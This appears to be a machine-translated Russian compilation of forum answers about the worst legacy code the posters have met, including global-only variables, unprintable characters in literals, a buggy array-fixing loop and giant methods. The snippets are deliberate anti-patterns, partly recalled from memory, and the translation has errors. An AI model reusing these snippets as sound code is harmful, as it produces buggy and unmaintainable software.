Непечатные символы использовались для отправки данных (все строки!) С сервера на клиент. Таким образом, все строки были разделены символом 0x03 на стороне сервера и повторно собраны на стороне клиента в C# с использованием функции Split.
Соме, что нормальный путь должен был бы сделать:
someVariable.Split(Convert.ToChar(0x03);
Более разумным и дружелюбным способом было бы использовать константу:
private const char StringSeparator = (char)0x03;
//...
someVariable.Split(StringSeparator);
Путь зла был тем, что выбрали мои коллеги: используйте любые "отпечатки" для 0x03 в Visual Studio и поместите их между кавычками:
someVariable.Split('/*unprintable character*/');
Кроме того, в этой библиотеке (и во всех связанных программах) ни одна переменная не была локальной (я проверял!). Функции были разработаны либо для восстановления тех же переменных, когда было сочтено безопасным их тратить, либо для создания новых, которые будут действовать в течение всего времени процесса. Я распечатал несколько страниц и раскрасил их. Желтый означал "глобальный, никогда не изменяемый другой функцией", красный означал "глобальный, измененный несколькими". Зеленый был бы "местным", но его не было.
О, я упоминал контрольную версию? Потому что, конечно, не было ни одного.
ДОБАВИТЬ: Я только что вспомнил функцию, которую я обнаружил, не так давно.
Его цель состояла в том, чтобы просмотреть массив массивов промежуточных элементов и установить для каждого первого и последнего элемента значение 0. Это происходило так (не фактический код из памяти и более в стиле C#):
FixAllArrays()
{
for (int idx = 0; idx < arrays.count- 1; idx++)
{
currArray = arrays[idx];
nextArray = arrays[idx+1];
SetFirstToZero(currArray);
SetLastToZero(nextArray);
//This is where the fun starts
if (idx == 0)
{
SetLastToZero(currArray);
}
if (idx == arrays.count- 1)
{
SetFirstToZero(nextArray);
}
}
}
Конечно, дело было в том, что каждый под-массив должен был выполнить это, обе операции над всеми элементами. Я просто не уверен, как программист может решить что-то подобное.
На более раннем рабочем месте мы унаследовали унаследованный проект, который ранее был частично переведен на аутсорсинг. Основным приложением была Java, частью на стороне была нативная библиотека Си. Однажды я взглянул на исходные файлы Си. Я перечислил содержимое каталога. Было несколько исходных файлов размером более 200 КБ. Самый большой файл C был 600 Кбайт.
Слава Богу, мне никогда не приходилось их трогать:-)
32 файла исходного кода с более чем 10K строк кода каждый. Каждый содержал один класс. Каждый класс содержал один метод, который делал "все"
Это был настоящий кошмар для отладки этого кода до того, как мне пришлось его реорганизовать.
Подобно тому, что кто-то еще упомянул выше:
Я работал в месте, где в приложении был язык псевдосценариев. Он подал в массивный метод, который имел около 30 параметров и гигант Select Case
заявление.
Пришло время добавить больше параметров, но парень в команде, который должен был это сделать, понял, что их уже слишком много.
Его решение?
Он добавил один object
параметр в конце, чтобы он мог передать все, что хотел, а затем разыграть его.
Я не мог выбраться из этого места достаточно быстро.
Однажды после того, как наши клиентские команды сообщили о некоторых странных проблемах, мы заметили, что две разные версии приложения указывали на одну и ту же базу данных. (при развертывании новой системы для них, их база данных была обновлена, но все забыли сломать свою старую систему)
Это был чудесный побег..
И с тех пор у нас есть автоматизированный процесс сборки и развертывания, к счастью:-)
Среди прочего, я нашел в проекте, к которому присоединился, и нашел этот бриллиант:
newwin=parent.parent.window.opener.parent.parent.parent.frames['clear'].window.open('empty.htm');
Я думаю, что это была программа, которая загружала цикл в регистры общего назначения pdp-10, а затем выполняла код в этих регистрах.
Вы можете сделать это на pdp-10. Это не значит, что ты должен.
РЕДАКТИРОВАТЬ: по крайней мере, это в меру моих (иногда довольно потрепанный) воспоминание.